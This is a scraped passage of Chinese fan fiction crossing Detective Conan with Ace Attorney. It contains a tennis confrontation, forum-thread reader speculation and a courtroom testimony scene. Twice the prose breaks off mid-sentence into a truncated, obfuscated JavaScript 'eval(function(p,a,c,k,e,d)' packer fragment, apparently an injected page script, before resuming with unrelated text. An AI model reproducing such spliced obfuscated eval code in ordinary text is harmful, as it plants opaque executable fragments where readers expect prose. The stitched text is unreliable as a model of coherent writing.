……对对对,监控伪造这个事是真的,直接让她凭空算出来了。而且动漫里还是妃英理去查的,也就是说这要是放在推理小说或者剧本杀之类里得算官方提供的条件,结果此人没有任何推理过程,直接下结论说监控时间不对 27# 没有推理过程??? 28# 本来也没法有啊。 29# 咋的,你漫特有的舅舅党 30# 现在的问题就是,因为能确定监控时间不对了,所以要论证佑希和案件没关系,就需要抓出真凶(说实话习惯了现实里谁质疑谁举证,现在在泥砖菜盘反倒是被告人需要论证自己无罪,好奇怪啊)。但是抓不出来,这是目前最困难的点。 31# 你作能易容的就那么几个,排除法不就行了 32# ……就是排除法出不来啊。死小会易容的人不多,黑羽夫妇,工藤有希子,贝尔摩德,黑羽快斗,但是除了贝尔摩德其他人都不可能下杀手;假设是贝尔摩德干的,那能抓她早抓了,还用得着这会抓 33# 那万一重制版黑羽夫妇是黑方…… 34# 和贝尔摩德干的有什么区别吗……而且他们两位可比贝尔摩德还难抓 35# 啊啊啊还是对快斗好一点吧!!!找爹本来就很痛苦了真找着了又黑掉,什么人间疾苦 即便在站上红色土地接受日光暴晒的时候,手中握着的球拍的胶皮被天空中巨大的天体辐射出的能量晒得滚烫,安室透却还是不可避免地想起一个凉爽,甚至回想起来令人后背微微发冷的傍晚。彼时他还不知道这一次误判如一次命运光临,然而他并未及时望向穹顶,天空又涌动着乌云,稍纵即逝。他还不知道,还什么都不知道。他照例拉伸了四肢,一手握住网球,望向对面的男孩,心道一句抱歉,实在是时局所迫,时间紧任务重,只能用非正常的手段试探你了。然而他脑中浮现的,却是另一幅情景。 当日是周五,对国小的孩子来说没有任何隐患,是一个可以安全放心度过的休假。安室透在路上看见宫野志保的时候,她站在林荫的树下,沉默地望着秋千上的小孩。也许她的眼睛没有聚焦,只是发呆而已,这里的氛围令她舒服。而安室透就在马路对面望着她。像两只野猫。无非是成年的野猫和没长成的野猫的区别。他们的守望里保有截然不同却完全相同的秘密。 也许是因为宫野志保的凝视太长久,或许也因为她的脸确实出众,秋千上的女孩跳下来,和朋友一起离开了,走之前言辞透露出她以为宫野志保很想玩。宫野志保想说自己早过了那个年纪了,但最后还是坐在秋千上,孩童的体温就这样残留着。她没有荡起来,抬起头看见安室透朝她走来,也没有起身。安室透心想如果是别人走来她肯定就会把自己和那群孩子之间的关系撇得远远的。她对我的态度还是稍微不同,所以这可以作为我接下来向她吐露一些——堪称要命的——情报的凭借吗? 他说:“贝尔摩德最近有所动作。——她好像对于A药的效用,产生了兴趣。” 汐华真理是个相当机灵的小孩。上次一柳万才叫他去汇报调查情况,汐华真理不能明白自己的新上司的想法,客观又雨露均沾地各方面挑挑拣拣地说,又说舟桥佑希的监控有问题,又说体检医生不太对,又说SL-9案件被重新翻出来了,严徒署长看起来不太清白。刚开始一柳万才光听,不叫停,不肯定,他知道自己业务水平不错但没说到领导想要的,直到提及严徒海慈的污点,一柳万才才拍了下桌子,说方向对了。那他就只说一柳万才想听的,回头给家里大人汇报的是完整版,言辞犀利相当精准,直说体检的医生是贝尔摩德假扮的。 接到这一手情报的是诸伏景光。没事的安室透早习惯了,关于自己发工资的下属兼后辈天天缀在幼驯染后头说这说那的,早习惯了。然后诸伏景光也不是一个会把问题留给别人的性格,到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚刚出门,有个年轻女孩局促地站起身,说我来吧。那也可以。他干脆靠在门口余光看着里面,美柳千奈美长得像谁?像叶樱院彩芽,那是当然。但是萩原研二见过彩芽吗?没见过。那他说的是谁?他死后见过的女孩其实不多。他说的是佑希。汐华真理心头一颤,忽然想到,无论如何,舟桥佑希还是绫里家的一员。平时觉得注视一张实际上属于自己的脸太奇怪,以至于习惯性忽略了这回事。虽然不比千奈美和彩芽之间的相似,但单独把美柳千奈美和舟桥佑希拉出来,即便是不明真相的路人也会觉得她们有四五分相似。这四五分可以被化妆变成七八分吗? 那个年轻女孩端着水回来了。汐华真理接过,心不在焉地嘴唇碰了一下杯口准备回办公室再战;然而那个女孩却忽然怯生生地提起一件事,她说:……哦,一柳会长要我闭嘴,但我觉得应该告诉您。我们发现在案发前一天,松本俊一曾经入手了一些动物。现在看来大概是以备在客户面前试药,然而我们进行数统,发现少了一只。一只……比大型犬稍微小一点的动物。 通了。 他看了那个女孩一眼,对方表情还是钝钝的,好似不能明白正在发生什么。在这之后,汐华真理意识到的则是另一件事,他非常缺乏时间。非常,非常。一柳万才随时可能抹除这个证据。他不准备带上办公室里的任何东西,浪费一秒都要承担极大的风险。当然手上的纸杯是要放下的,但他没在旁边看见桌子,只有一个垃圾桶。于是他一饮而尽,把纸杯捏皱投进垃圾桶,干脆利落地下楼去。 “如果您真心想要打网球,是不是至少该选择一个和您水平相当的选手?至少,平视的时候,能看见人家的头顶对吧?” 拉娜唯说。而后弯下腰,摸了摸江户川柯南的头。还好,毕竟这孩子前面纯粹被单方面秀了一脸,无所谓什么奔跑还击,但是再晒下去肯定遭不住。“热不热?”她问。 “……还好啦,谢谢阿莱塔姐姐。” 江户川柯南抬起头,暂时从这个女人高挑的身影下感受到劫后余生的清凉。 “你还记得我的名字。” “姐姐那时的表现真的很令人惊叹,所以很难忘。”江户川柯南甜言蜜语了两句,退场时感到久违的庆幸。拉娜唯这才站起身,握住网球拍。这是第三次对峙。她心想。第一次是办公室里,第二次在叶樱院的落雪中,第三次就是现在。她看着拦网对面的安室透,知道自己的目光对他来说毫无意义。他才不管拉娜唯如何施压,总是正面撞进惨烈到如悲剧一般的冲突中。悲剧是命运的一部分。我就这样看着你,你也报以我同样的目光。 “……阿莱塔小姐?”一旁观战的毛利兰提出问题,“您还穿着裙子。而且它有些长度。” “没关系。”拉娜唯没有回头,“要知道,直到1884年女人才能穿着短裙打球。在这之前女人打网球不能跑动,要穿长裙,要搭配礼帽,要穿长袖衬衣——我习惯了。” 她说的就好像那是自己亲身经历过一样。毛利兰有点怔愣地坐下,还是有些担心对方的安全。她不知道,与此同时,拉娜唯的所思所想截然相反。拉娜唯此时所想的是,怎么可能让你们绯色三人组相认。我绝对不能允许。 她才没有被同人版带跑偏。无论那些言论,那些画作如何栩栩如生绘声绘色,她都得意识到,安室透是红方。无论如何都是红方。他确认工藤新一和江户川柯南为同一人后,自己的处境只会滑向深渊。 拉娜唯付之无声的威慑。安室透报以沉默的沸腾。他们的第一次体能交手实在是非常规,但似乎又非常合理。 作为一种对抗性极高又大开大合,并且少见地做到男女同工同酬的运动,网球比赛总是给人一种自由的感觉——是的,就是自由。是那种狂风拂面的感觉,从肌肤和发根战栗而出的震撼。这种极富视觉冲击力的动作正诠释着人类爆发力、耐力、反应力与协调性的极限,以及这极限之上,对手的下一击——拉娜唯尚且有余力。她仰赖着阿修罗的体力,适当地控制着发展,也还是感到吃力。她在击球的间隙,一度不带敌意地,好奇地观察安室透。她甚至喜爱对方。因为她在对方的身上看到了人类如何努力达到他的极限,甚至突破这种极限。假若在非洲的稀树草原上看见一只猎豹这样舒展身体,追击捕猎,她想自己也会报以同样的敬意。她简直,都想让对方赢了。作为人类,他简直站到了一切的顶端。体能的顶端,精神的顶端。 在这种基础上,她还要分心操控汐华真理的进度。她听见自己怎么闯进证物室,当中正坐着御剑怜侍——这位高人气角色的首次出场如此猝不及防,令人难以想象。御剑怜侍检察官为他的不请自来皱了皱眉,但听到汐华真理讲述他的理由后,还是取来了他想看的证物。 拉娜唯手中正拿着她的决胜球。 汐华真理撕开证物上的封条。 拉娜唯发球。 封条落地。那个勾玉项链展露出来。 其实绫里家的勾玉大致相同。但是毕竟是天然玉石制成,多少有些差异。 ——我已经,已经掌握了自己的命运。 分隔两地的两具躯体,同一个灵魂,在此共振。 “……我改变主意了。” 拉娜唯将球投掷空中时,喃喃自语。这话或许只有她自己听得见,然而就连风声也为止一滞;接着,她毫不留情,大力扣下去——!! 网球席卷着爆破声,速度远远超过了一百三十英里(女子网球最高时速),甚至远超过了一百六十公里(男子网球最高时速),没有人可以接住它。这一分在她的球拍叩击之时,就落在她的手中了。她终于开始喘着气,剧烈地呼吸,展示出疲惫的神采,人群中则爆发出激动而澎湃的掌声和尖叫。即便行礼标准,她的神态却丝毫不谦卑,也不分眼神给热情的观众们。还是看着安室透。对方的,不可置信的,坚决的,永不回头的眼神。她想:我终于明白了。终于。 你这样的人不需要我的让步。不需要我的怜悯。因为你面对的是一个冷酷的命运,胜利是苛刻的,对我也一样。有什么配得上你一路的高尚灵魂?命运给予你的垂青,就是令你失去所有的朋友,不断带来灾厄和苦难。给你孤独,给你衰老,给你永世难以战胜的敌人。 现在我来了。你的敌人。我来了。 看着我的力量,看清我的眼睛;战胜我吧,或者被我杀死。 拉娜唯松开拍子,转身下场。另一端,汐华真理的电话无缝衔接:“零哥!我现在和御剑检察官被堵在证物室出不去!”如此不甘,如此遗憾!没有一丝时间足够喘息,安室透看着拉娜唯的背影,尚且不知道自己未来还会看多少次。他转身。 54.光,光,光 [主题]泥砖菜盘——仓院驻米花市律师事务所 [剧情迷思]新TV啊呀骇死我了 1# 各种意义上的。 2# 我懂你兄弟。 3# 所以是名字里带莱的都是救火大队长吗。莱姐为啥能跑出来呢我请问 4# 对啊是不是有一点太生硬了呢我说……?其实我觉得这里非要拉一个救场的人来赤老师难道不是最佳选吗?阿莱塔之前还在拘留所里看严徒海慈,这会又被捞出来赶场,出现的太频繁了好像? 5# 但是秀一来不了啊,后面不是交代了说秀一在检察院那边救火,路过看见证物室门口堵满人,咪酱悍然守门舌战群儒半小时,赤老师干脆挤进去救了个场,等人都走完了,储物柜柜门一开,真理捧着勾玉跟秀一面面相觑,太呆了咪酱都懒得看 6# 那也太奇怪了……因为秀一不该出现在检察院的,他一个FBI,天天在霓虹的检察院晃,咪酱不轰他是因为自己在美国当过留子吗??? 感觉硬要挑明交代秀一在检察院有一种欲盖弥彰的效果……就好像是主创先射箭后画靶,先想好了要阿莱塔跟波本对线,把这段确认后才开始思考怎么去达成这种情形,最后发现必须得给秀一造不在场证明,才硬安排到检察院。反正就是哪里都奇怪。 7# 那如果说主创的写作目的是让大伙看莱姐和波本打网球,他们的目标是啥?或者说,费劲整了一堆活还特意把秀一调走之后想表达的信息是什么?我是若只我只能看出来莱姐劲真大,感觉是网王来的( 8# 我感觉其实编剧塞了一条比较隐晦的逻辑链。你看,咱们给明面上的事件排个序:真理在证物室和御剑一起被堵,波本来抓柯南被(悍然越狱的)阿莱塔拦截,阿莱塔和波本紧张刺激对拉一小时,秀一偶然搭救咪酱和真理,波本接了个电话离开了,最终也没有和柯南说上话。这些事件就像珠子一样,缺乏一条线把它们串起来:那么,这条线是什么呢? 我先卖个关子。 9# …… 十分钟了,哥们你倒是说啊 10# 8楼被波本抓走了,大伙默哀吧。 11# 我也想被抓 12# ? 好吧我也 13# 我插队 14# ……申金啊 我继续写。 其实分析剧情就像做几何题一样,缺一条辅助线,或者缺一个衔接句;补上了就万事大吉,傻子都能看出来其中的奥秘了。比方说,让我来补上一句话:波本接了个电话,电话对面说,您的某某某证据被人捷足先登了!或者,您安排我们去销毁的什么什么证据,我们到之前就被人发现了!然后波本转身走了。 这样,大家看出来什么了吗? 15# …… 我趣 16# 我趣!!! 17# ……那所以是阿莱塔和秀一双线作战!!!!!挖袄!!!!! 18# 或者说阿莱塔在和御剑双线作战也对我觉得,我来理理时间线,14楼说的稍微糙了点;我想的是说关于佑希的案子,波本有参与或者说参与的还挺多,然后有一个很要命的把柄现在丢在证物室正在伺机销毁;真理可能是大脑联通冥界了吧不知道反正突然反应过来,赶往证物室守勾玉碰到御剑,御剑和阿莱塔双线拖到秀一到?我靠好牛逼但好刺激…… 19# 卧槽神级牵制啊…… 20# 那咪酱为什么没把秀一轰走也有理由了啊……我都怀疑最早发现证物有问题的其实是御剑了,但是碍于一柳万才所以投鼠忌器,成步堂又受到佑希的劝阻难以插手,只能引入第三方把水搅浑,容忍秀一参与,其实是他山之石可以攻玉……太强了咪酱,你当检查局局长我心服口服 21# 说不定那个对真理提及实验动物丢失的女生也是御剑安排的。 22# 所以之前那个分析说这次不用高人气角色掩盖叙事的帖主出来!这次哪里规避高人气角色了!现在把逻辑链条摆开了揉碎了看难道不是变成了安室透和御剑怜侍对线吗! 23# 人家本来也没说不用高人气角色呀!人家的原话是“不用高人气角色掩盖叙事瑕疵”,现在剧情推的不是蛮好的。也没有迷信人气,让人气高的使劲出场:虽然御剑出场不多,但是细节真的很能打动人啊。比方说和门口堵他的人对线的时候,让真理直接在柜子里躲好别管,自己一个人主动吸引了全部火力。没准那帮人现在回去了还不知道Q谁呢。 真理也没死躲着不出声,人家也机灵着知道摇人,在秀一或者别的什么人可以搭救他和御剑之前,让自己家家长阿莱塔直接拖波本,把把都是好辅 24# 我真觉得这一遭下来真理可以挑大梁了。真的,只要事件平稳落地,他绝对大出息。哎就是苦了黑方了,乍一看感觉阵容给的相当大方,把波本和雪莉都匀过去了,结果红方这边直接连珠炮一样多了莱姐和真理,等yuki把这件事挺过去接手绫里家,还想不到是多大的助力……一个目前表现来看智力和判断力可以跟萩松,自带红子家族能力和铃木财团规模的后盾绫里家,还能灵媒当红方复活点的女生,感觉可以竞争女主位了。 接下来的分析纯粹cp脑上头,不搞真雪bg向只看剧分的划过去就好。说实话他们给我的感觉很奇妙,就是那种身虽彼此远离心却永远相依的同频。太奇妙了。明明不在同一个景别,不在同一个地点,但就是莫名其妙的心灵相通;对方安全时一切如常,对方危险时立刻反应,好像世上只有两个人,一时就是一生。无意识的真心,可以换来命运的眷顾吗…… 我们群里都在dream事情顺利结束,他们也能确认心意。从此以后你们的命运绑定,手拉手一起面对命运的暴风吧。 翻过这座山!让所有人听见你们的故事! 25# 妈呀我还以为搞真雪是什么很小众的事情,总之什么群让我进去( 说起yuki啊,我感觉她背后的线还麻烦着呢。之前铺垫了萩松这组幼驯染思路巨统一,上一集也在用。镜头对切,萩原对着真理摆在桌子上的卷宗说眼熟的时候,松田正坐在佑希对面——十八楼非要说有人的大脑连冥界了那我觉得是松田才对吧!——忽然伸出手,捂在玻璃上遮住了她的发型,只留下五官: [截图] “佑希。我突然发现,其实你长得非常非常,非常像美柳千奈美。只是发型不一样——你要不要把你的刘海拉起来?……对,头偏一点,眯起眼睛……” “……对。你其实,长得和那对姐妹很像。” 我总觉得叶樱院的事情还没完。或者换个说法,绫里家族的事还没有终结在叶樱院。Yuki就像命定之人一样,我直觉她会终结绫里家的恩怨,或者干脆终结绫里家。 26# 不要说的这么哈人!怎么就终结绫里家了喂! 27# 为啥透子哥跳槽了也在吃瘪……哎心碎啊xdm 28# 本篇当卧底的时候列车篇秀一快斗有希子合起伙绕他,绯色篇优作秀一柯南一起坑他,现在重制版秀一阿莱塔御剑真理一起拖他,秀一真应该领个全勤奖(什么 29# ……哎,说实话,啧,我其实有个想法。 30# 什么想法,xd 小心求证大胆胡说 31# 虽然说重制版目前看是没有警五这个说法了,航哥说不定已经和锯子当好哥们对他也好,但是考虑到萩松还在强绑定,那属于零的他的幼驯染—— 有没有可能也在强绑? 32# 哦我测!把景光忘掉了!!! 33# ……我靠,黑苏??? 34# 黑苏……天哪。不敢想了兄弟们,不敢想 35# 那这么看的话,没准黑方还有戏的,至少不会输的特别难看,毕竟他们到现在手里还死攥着苏格兰没出……就看编剧准备怎么打这张牌,无论是红还是黑,都绝对不能被一笔带过了。 36# Dream一个我们景光成胜负手,有没有可能 37# 只要他还活着,就必然是胜负手。而他被写死的概率,目前来看,很低。 本篇他被写死是给零设置的心理障碍,算红方减速带;但是在黑方,不太可能再给黑波搞一个减速带出来。这和人设就不符。 除非编剧不知道咋写,直接把景光删掉,那纯属拉了托大的。我对重制版编剧还挺看好,真不希望他雪藏景光啊。 38# 咱们刚才给真理那方开了半天香槟,结果现在发现道路是曲折漫长的,怎么回事,孩子的被动是让观众半场开香槟吗 39# 没准是红苏。(万一呢 40# 对透子哥好点吧妈呀,要是红苏那重制版后半部不用看了,景光啥时候出来本作啥时候变成他俩恨海情天的顶级拉扯 41# 那太美丽了家人们,总之还是看看远处的这周更新吧* 泥砖菜盘的证人位,其实挺危险的。 但是考虑到真统计下来,证人位,检方,辩方,陪审团,裁判长,无论哪个地方都拉出过犯人,这么想想,又无所谓了。毕竟自己都进死小了,身上加的死亡Buff多一个不多,少一个不少,退一万步说在泰坦尼克号上选座位有意义吗?汐华真理对着镜子整理着装,他还是第一次穿西装。往常的表演服不算,以拉娜唯身份穿过的吸烟装也不算。这是“汐华真理”第一次穿正装。 他要出庭作证。 因为时间紧任务重,作为证据的勾玉随时可能被一柳万才再次锁定拦截,所以越早拿出来用越好;而在赤井秀一路过搭救后,妃英理及时赶到,和御剑怜侍一同听完汐华真理的分析后,当场达成共识:开庭。 现在就开。 到了这个地步,自然没有时间给汐华真理找衣服。按道理来说证人穿的不那么严肃也无所谓,但:“说不定到时候需要你来打辩方,或者检方。这都是不确定的。”御剑怜侍说。 汐华真理愣了愣,话到嘴边,顿了一下:“……所以你到时候不在法庭?” 肯定会出状况,这一点他不怀疑,只是在意外:假如御剑怜侍在现场的话是轮不到他来的。御剑怜侍没有说话,算是默认,汐华真理就不追问他去哪里,迎面被衣服糊了一脸。他把衣服拿在手里一看,先看见了飘飘。“我二十岁时穿这件。”御剑怜侍说。老实讲看着这样一个男人绷着脸给自己收拾东西,太奇怪了;此人未来必然是冷脸洗内裤的好苗子。与此同时妃英理很有成年职业女强人的余裕,面不改色拉开门出去了。 汐华真理没别扭,换上以后心想哎我真是个冒牌警察,人家一个检察官二十岁的时候胸围比我大,现在胸口空荡荡的,脚脖子还有点凉,纯细狗;但是转念一想御剑怜侍一个电梯PTSD患者天天爬12层楼上班,他不健壮谁健壮,释怀了。他对着穿衣镜整理衣角的时候,动作忽然顿了一下。 然后加快了手上的动作,快步走到御剑怜侍身边,背对穿衣镜,压低声音: “检察官先生。” 御剑怜侍分给他一个眼神,示意他继续说。 “您是什么时候开始被监视的?” “……在哪里?” “您的穿衣镜。” “你是怎么发现的?” “我刚才在镜子后面看到了闪烁的红光。……现在再去看大概看不见了。” 其实汐华真理撒谎了。安装监控的人怎么可能留下这么大的把柄。至于为什么知道自己正在被监视,是因为“他”正亲眼看着。 “哟。看来他们觉察出不对了。” 拉娜唯不准备怀疑一位警察署署长的观察能力。哪怕自己刚才已经很小心,很保留,但没有逃过严徒海慈的眼睛。他完全可以通过几个无声的小动作,断定摄像头下的两个人情绪有所改变。 时间倒退回太阳依旧悬在空中的白日。她完成最后的扣杀后,转头,发觉一队格格不入的人正朝着她走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她说就在这片你站立的国土上有一个年轻人。他读警校,成绩相当好。毕业的时候把自己的行李打包,坐上车,手里捻着朝日影,金属面发着光。他发誓自己会成为司法界的大人物。他工作时经常感到艰难,尝试社交,然而常常失败。有一回在酒桌上,一个上司或许喝得多,半真半假地揶揄他假清高。他就陪笑,一直到话题结束,这才发现嘴唇都黏在了上牙齿上。等到酒会结束,他坐上那个上司的车,谈妥了一次合作。当朝日影的光从他面上移开后,一切都变得如鱼得水了起来。他后来也没有怀疑过自己,坚定地继续走上这条路,成为了能够在一茬茬如春草般年年长的警校新生面前演讲的人物。他的软弱在那一天就消失了。那甚至不算什么烈性的有害的软弱。只不过是那一夜回到家中,他紧紧握住了朝日影的徽章,背面的别针刺破了他的手心。我知道你的眼睛很好,小鸟。但那已经是几十年前的事了,你现在看不到那一记暗伤。 其实我在这样一个世界,偶然向亚瑟那边投过一瞥,时常会感到心痛。他那边的警察孩子们,并不是在精神和人格上遭受这样的侵蚀,而是在枪林弹雨和爆炸中失去性命,本质上并不是能够被拿来作比较的苦难。但当我知道我们都生活在不同的文学作品中之后,我还是嫉妒他们。他们死后,灵魂会被金色的歌谣传唱,会在观众的目光和眼泪里永生,然而我却只能亲眼看着一些人踏入另一个世界,或者自从生下来就成了一个恶人,灵魂也粉身碎骨地落地。严徒海慈是个非常优秀的警察。他总是那么坚定有力,毫不动摇,就连做坏人也这样强大。好了,小鸟,你到了,室内不亮,但还是慢慢睁眼吧。 拉娜唯依言,慢慢睁眼,看见笑眯眯的严徒海慈就这样坐在对面。房间的确昏暗,是附近酒店的会议室,没有开灯。好像没什么人,但拉娜唯分明听见门外的呼吸声。她第一反应就是去看对方的手心,的确什么都看不到。但她又总疑心有。她的第二眼,是一旁的电脑屏幕,上面正是换衣服的汐华真理;最后留意到的则是另一个人。不知道被绑了多久,反正也戴着头套,看衣服是个男人。 严徒海慈示意她:“坐吧。” 他能从拘留所出来,拉娜唯不觉得奇怪。换句话说,哪怕自己这样一个外乡人都能出来,严徒海慈却出不来就太丢人了。严徒海慈甚至换了身衣服。他穿上了他最常穿的橙色西装,内搭的黑色衬衫一丝不苟。他甚至十分亲昵地称呼道:“小拉娜。”就像管成步堂叫小堂,管御剑叫小剑一样。拉娜唯腹诽还好没叫小唯。弄错种族不说,还少不得一顿掏心掏肺。 这种亲昵的叫法令她浑身难受。或许是麦尔丝女士刚才的发言所致,她无端的想起另一个爱叫昵称的已经死了的男警察。为什么他叫小佑希的时候不难受?自己扮演舟桥佑希时令他当检察官。难道会有哪一条世界线,他走上这条道路?不可能的吧。无论如何…… 严徒海慈先是微笑着看着拉娜唯。昏暗的室内,只有电脑还在静静地播放画面。拉娜唯没有被吓倒,立刻分心,借真理的嘴告诉了御剑。就在这短短几秒里,严徒海慈只是轻微瞥了一眼屏幕,就说自己的摄像头已经被发现了——“不过没关系。”严徒海慈说,“他们准备立即开庭,也好。我们可以看法庭的转播。” 拉娜唯不置可否,按兵不动。事已至此,一切先按计划行事。与此同时,汐华真理接到传唤,站上证人席。他先看辩方——妃英理律师状态很好。再看检方,牙琉响也少见地站的不算放肆。不过墨镜又很好地弥补了这一点。而被告人席上就是舟桥佑希,他“自己”。多么新奇。 到目前为止一切都还算正常。他只要正常发挥就好……忽然间,汐华真理感觉到一道目光。非常奇怪,非常……令他想起麦尔丝讲的故事。那道照射在22岁严徒海慈面上的朝日影反射的日光。这就是这个凝视给他的全部感觉。 他喃喃自语:你到底是谁呢。没有费劲寻找,就锁定了目标。很难想象一个狙击手同时会拥有这样的目光,在陪审团中坐着一个戴兜帽的男人,看不清面容,但汐华真理却想象他神色清明可靠。一瞬间为拍摄而调整的光源移动了角度,于是那个人有一只蓝色眼睛被点了高光,宁静而永恒地温柔注视过来,看着这位自己带出的得意门生,这种无条件的纯洁的信任足以在七年之后令汐华真理十死无生。当然,汐华真理现在还对于未来的风暴一无所知,命运的寒冬正被这个国度的守护者们牢牢抵御在外。 他现在只是想,稳了家人们,诸伏景光都架在这里了,没有输的道理了。于是他也回之微笑。千里之外,严徒海慈对着微微延后的屏幕感到了略微超出控制的不满。而拉娜唯则定定地凝视着屏幕,想起亚瑟说,自己真心的笑容。过甚的光线中心,站在证人台上浅色头发的年轻人向镜头之外的世界投来恣意而纵情的一瞥,再迟钝的人也同时从这张脸上同时读到了多情和无情的光彩。难道我平时就这样看诸伏景光吗。难道我是这样软弱肉麻的人吗。电子屏幕的光线落在拉娜唯的脸上。轻轻的。 她只听见屏幕里青年的声音。简直不属于她自己似的。 “我要提交的证词,将会证明舟桥佑希小姐的无罪。” 55.忏悔录 这种短暂的,和煦的光,仅仅带来了瞬间的宁静。山呼般的噪音像海潮冲上沙滩般卷土重来,汐华真理眨了眨眼睛。此时裁判长好奇地再次询问了一遍:“请问证人?可以开始证词了吗?” “……是的。我已准备完毕。” “他,还有小妃,所持的主张都是小舟桥与本案完全无关。……哎呀哎呀,这样的呼唤真是熟悉啊。我记得她的父亲,我也这样叫吧。不过,虽然是父女,但他们长得真是一点都不一样。舟桥小妹妹的长相,应该被她的妈妈救的相当厉害啊……说真的,我都觉得她有些像你了。” 严徒海慈这样说着,看向拉娜唯。而她看起来不动声色,视线也不聚焦在屏幕上。她究竟是在装听不见,还是此事与她无关? 她并不在意严徒海慈想什么。现在摆在她面前最紧急的事项是,我该如何拯救自己。他已经看见了所谓的产品粉对于“汐华真理”为“舟桥佑希”上证人台欢欣鼓舞,这一切并不重要。重要的是,有的观众,眼神相当好。而现在是TV剧集,怀疑自己看到了什么,只管拖动进度条截图就好;不像剧场版,有人看见了,有人没看见,能吵到电影结束;有人拍屏了,没拍屏,继续一场恶斗。 那张截图被po在论坛中。拉娜唯定定地凝视了一会,竟然猜测不出将会发生什么。于是转而去看弹幕。 【……】 【动画组你们】 【难道是根据论坛风向考虑放谁上场吗?????】 【隔壁那个楼刚提到黑苏们制作组就上????】 【不不不,大伙先稳住,这不还不能确定他是谁吗……】 【你漫穿衣优衣库风蓝色套头兜帽只此一家,还能是谁?咋的817过去没多久大张哥飘洋过海来看热闹?】 【不是那个意思!!!神特么大张哥都冒出来】 【意思是说咱们现在不还不能确认苏哥黑红吗。。。而且苏哥出的好猝不及防啊】 【甚至堂而皇之打进法院了啊喂!!!不会这个案子查到最后把苏哥从陪审团上拽下来……】 【我觉得不太可能……因为虽然咱们不好说苏哥有没有涉及前面的事件,但是他前期属于一个查无此人的状况,如果要抓真凶,不太可能是一个完全没铺垫的人。】 在以往的游戏剧情中,并不是从未出现过证人代打的情况。那发生在4-1,王泥喜法介作为辩护律师时,随着剧情推进,成步堂龙一从被告席上走下,站上证人席;他洗清了杀人的嫌疑,并主导整个法庭,揭露七年前的案件,最终将牙琉雾人送进监狱。而这一次汐华真理站上证人席,心境也同成步堂龙一一般。他担心的并不是不能将舟桥佑希身上的罪名洗清,而是全神贯注于SL-9事件里,失去了成御律检混合双打,他能否将严徒海慈拉下神坛? 然而,那些犹豫对于现在还太遥远了。 牙琉响也示意他开始发言。是的,虽然整个人都偏心的没边,但当御剑怜侍给他套上这身衣服,汐华真理就还是检方证人。让牙琉检察官初出茅庐的第一次宣判就落败,太失礼了。汐华真理心想。不过没关系,事实上他即将迎来的是一个新人检察官所能达到的巅峰—— “——请大家注意看这里。这是‘记录了舟桥佑希杀人经过的’监控。但是经过相关人士的修复,我们得到一个结论:即监控的时间受到了修改。” 裁判长不置可否:“监控受到了修改吗。好的,那么,请辩护人开始讯问。” 妃英理点点头:“请问时间是被延后,还是提前了呢?” “被延后了。” 牙琉响也很和气——至少他对不太相熟的女性往往如此:“不过呢,这还不足以证明被告人的无罪,情况没有发生变化。……话说,真理?你姑且要记得自己还是检方证人呀。”他笑着看过来,此时没有摘下墨镜。 “是的。”裁判长点头,“想要证明被告人无罪,最直接也是最根本的办法是找出真正的杀人凶手。辩护人,重点在于‘是否能找到作案的真凶’。你可以讲述吗?” “当然。”妃英理看向桌子上的资料,“既然监控的时间受到了更改,我们有理由怀疑,真正的杀人罪行在监控修正后的时间上。” “异议!”牙琉响也立刻反驳,“女士,请别忘记,您刚才询问证人后得到的答案是‘被延后了’。也就是说,真正的杀人案,比起监控呈现给我们的画面要靠前一些。在这个时间,松本俊一事实上早已经死去。那么被告人所声称的:自己在昏迷前依旧与松本俊一共处一室的陈述就是不成立的——还是说您要表述这个主张?被告人撒谎了。” “不……”妃英理说,“被告人没有撒谎。证人也是。我要做的主张依然是,被告人没有进行灵媒活动。” 牙琉响也:“您竟然这样想?这样可就意味着,佑希小姐是出于自己的意识杀害被害人的了啊。” 妃英理:“她不是凶手。” “很有趣的主张……但是。”牙琉响也笑了笑,“异议!这是检察院的检测报告。考虑到米花市并不经常使用灵媒帮助破案——或者说压根没有用过。我就在这里解释一下吧。在我们的司法体系中,一些特定的案件在陷入瓶颈后,会考虑请来灵媒师提供帮助。当然,我们这一次并没有灵媒死者,而是邀请灵媒师对现场环境进行查验……最终发现现场有过灵力流动的痕迹。也就是说,有人在此进行过灵媒。” 他出示了这名灵媒师的报告,随即加入法庭报告。裁判长点点头,询问:“那么,妃英理律师,你要继续坚持您的主张吗?关于现场有人进行灵媒这个观点,有任何证据可以击败吗?” 现场有过灵力流动的痕迹,当然也可能是松本俊一曾经邀请过其他神秘学相关人士,或者干脆就是那份报告可能有问题。但那都只是可能。而我要把可能性,变成事实,只有一条路走。在这里,玩家将会看到三个选项:牙琉检察官提供的报告有问题、舟桥佑希保留着自己的意识,以及:我不能证明。 “很遗憾。”妃英理平静地说,“我不能驳倒这件事。但同样的,我的主张是‘被害人没有灵媒’,而不是,‘现场没有人灵媒’……” “异议!”牙琉响也一捶背后的墙,“如果要这么说的话,那不就变成了……‘灵媒者另有其人’了吗!你能拿出证据吗!” “当然有!”妃英理说,“证据是……” 这一刻严徒海慈笑了。可以想见,在未来的游玩过程中,还会有许许多多的人,前赴后继地栽在这一刻。玩家栽了倒无妨,只要读取上一个存档就好;即便上一个档存成了死档,最辛苦也不过是重打一遍。但是,站在这里的人并没有这样的机会。而这个错,妃英理并没有犯。 “证据,就在那个监控录像中!请大家看监控,画面上的‘舟桥佑希’,所佩戴的勾玉颜色不同!” 沉默。长久的沉默。 这种长久是对比而言的。通常情况下严徒海慈也会在开口之前先微笑着注视对方,一般是3秒。这短暂的3秒经常让玩家误以为自己的学习机卡机了,困惑地摁了几下后,才会弹出他的对话框。这一次他的沉默还要再久一点,才哈哈大笑,夸张地鼓掌:“……真是的。原来米花的律师也有些本事吗。啊,小拉娜,你看懂了吗?放心吧,不明白的话,尽管来问我。” 